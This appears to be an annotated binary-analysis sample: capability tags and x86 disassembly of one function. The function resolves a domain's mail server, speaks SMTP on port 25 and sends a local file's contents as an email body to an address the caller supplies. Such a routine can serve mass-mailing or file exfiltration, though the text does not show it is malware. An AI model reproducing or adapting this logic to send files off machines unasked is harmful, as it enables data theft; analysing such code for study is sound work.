Function at 0x403fb6
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Read and send data from client to server
Read file on windows
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1228
call fcn.00405608
push edi
push 0x40
push dword [ebp + 0xc]
call sub.CRTDLL.DLL_strchr
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x403fe0
add dword [ebp - 8], 1
jmp 0x403fea
mov eax, 0
jmp 0x4043b2
push dword [ebp - 8]
push str.Domain:__s_n
call sub.CRTDLL.DLL_printf
add esp, 8
push 0xff
push 0x1388
lea edi, [ebp - 0x108]
push edi
push dword [ebp - 8]
call fcn.0040241c
add esp, 0x10
cmp eax, 0
jne 0x404031
lea edi, [ebp - 0x108]
push edi
push str.MX:__s_n
call sub.CRTDLL.DLL_printf
add esp, 8
jmp 0x404048
push str.Lookup_failed_n
call sub.CRTDLL.DLL_printf
add esp, 4
mov eax, 0
jmp 0x4043b2
mov dword [ebp - 4], 0
lea edi, [ebp - 0x108]
push edi
call sub.wsock32.dll_gethostbyname
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jne 0x404089
call sub.wsock32.dll_WSAGetLastError
mov edi, eax
push edi
push str.hostent___error:__d_n
call sub.CRTDLL.DLL_printf
add esp, 8
mov eax, 0
jmp 0x4043b2
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x4043a5
mov edi, dword [ebp - 0x10c]
mov edi, dword [edi + 0xc]
mov edi, dword [edi]
mov edi, dword [edi]
mov dword [ebp - 0x1120], edi
mov word [ebp - 0x111c], 2
push 0x19
call sub.wsock32.dll_htons
mov edi, eax
mov word [ebp - 0x111a], di
mov edi, dword [ebp - 0x1120]
mov dword [ebp - 0x1118], edi
push 0x10
lea edi, [ebp - 0x111c]
push edi
push dword [ebp - 4]
call sub.wsock32.dll_connect
cmp eax, 0
jne 0x404391
push dword [ebp - 4]
call fcn.004022f2
add esp, 4
push str.HELO_localhost_r_n
call sub.CRTDLL.DLL_strlen
add esp, 4
mov edi, eax
push 0
push edi
push str.HELO_localhost_r_n
push dword [ebp - 4]
call sub.wsock32.dll_send
push dword [ebp - 4]
call fcn.004022f2
add esp, 4
cmp eax, 0
je 0x404149
push dword [ebp - 4]
call sub.wsock32.dll_closesocket
mov eax, 1
jmp 0x4043b2
push dword [ebp + 0x10]
push str.MAIL_FROM:__s__r_n
lea edi, [ebp - 0x110c]
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0xc
lea edi, [ebp - 0x110c]
push edi
call sub.CRTDLL.DLL_strlen
add esp, 4
push 0
push eax
lea edi, [ebp - 0x110c]
push edi
push dword [ebp - 4]
call sub.wsock32.dll_send
push dword [ebp - 4]
call fcn.004022f2
add esp, 4
cmp eax, 0
je 0x4041a3
push dword [ebp - 4]
call sub.wsock32.dll_closesocket
mov eax, 1
jmp 0x4043b2
push dword [ebp + 0xc]
push str.RCPT_TO:__s__r_n
lea edi, [ebp - 0x110c]
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0xc
lea edi, [ebp - 0x110c]
push edi
call sub.CRTDLL.DLL_strlen
add esp, 4
push 0
push eax
lea edi, [ebp - 0x110c]
push edi
push dword [ebp - 4]
call sub.wsock32.dll_send
push dword [ebp - 4]
call fcn.004022f2
add esp, 4
cmp eax, 0
je 0x4041fd
push dword [ebp - 4]
call sub.wsock32.dll_closesocket
mov eax, 1
jmp 0x4043b2
push str.DATA_r_n
call sub.CRTDLL.DLL_strlen
add esp, 4
mov edi, eax
push 0
push edi
push str.DATA_r_n
push dword [ebp - 4]
call sub.wsock32.dll_send
push dword [ebp - 4]
call fcn.004022f2
add esp, 4
cmp eax, 0
je 0x40423e
push dword [ebp - 4]
call sub.wsock32.dll_closesocket
mov eax, 1
jmp 0x4043b2
call sub.KERNEL32.DLL_GetTickCount
push eax
push dword [ebp + 0x14]
push str._s__d
lea edi, [ebp - 0x1228]
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
lea edi, [ebp - 0x1228]
push edi
mov edi, dword [ebp + 0x10]
push edi
push dword [ebp + 0xc]
push edi
push str.From:__s_nTo:___s__nReply_To:___s__nSubject:__s_n_n
lea edi, [ebp - 0x110c]
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x18
lea edi, [ebp - 0x110c]
push edi
call sub.CRTDLL.DLL_strlen
add esp, 4
push 0
push eax
lea edi, [ebp - 0x110c]
push edi
push dword [ebp - 4]
call sub.wsock32.dll_send
push 0
push pe_nt_image_headers32
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 0x1124], eax
cmp dword [ebp - 0x1124], 0
je 0x40430a
jmp 0x4042e8
cmp dword [ebp - 0x1128], 0
jne 0x4042d5
jmp 0x40430a
push 0
push 1
lea edi, [ebp - 0x1129]
push edi
push dword [ebp - 4]
call sub.wsock32.dll_send
push 0
lea edi, [ebp - 0x1128]
push edi
push 1
lea edi, [ebp - 0x1129]
push edi
push dword [ebp - 0x1124]
call sub.KERNEL32.DLL_ReadFile
cmp eax, 0
jne 0x4042ca
push dword [ebp - 0x1124]
call sub.KERNEL32.DLL_CloseHandle
push str._r_n._r_n
call sub.CRTDLL.DLL_strlen
add esp, 4
mov edi, eax
push 0
push edi
push str._r_n._r_n
push dword [ebp - 4]
call sub.wsock32.dll_send
push dword [ebp - 4]
call fcn.004022f2
add esp, 4
cmp eax, 0
je 0x404353
push dword [ebp - 4]
call sub.wsock32.dll_closesocket
mov eax, 1
jmp 0x4043b2
push str.QUIT_r_n
call sub.CRTDLL.DLL_strlen
add esp, 4
mov edi, eax
push 0
push edi
push str.QUIT_r_n
push dword [ebp - 4]
call sub.wsock32.dll_send
push dword [ebp - 4]
call fcn.004022f2
add esp, 4
cmp eax, 0
je 0x4043a5
push dword [ebp - 4]
call sub.wsock32.dll_closesocket
mov eax, 1
jmp 0x4043b2
lea edi, [ebp - 0x108]
push edi
push str.Failed_to_connect:__s_n
call sub.CRTDLL.DLL_printf
add esp, 8
push dword [ebp - 4]
call sub.wsock32.dll_closesocket
mov eax, 1
pop edi
leave
ret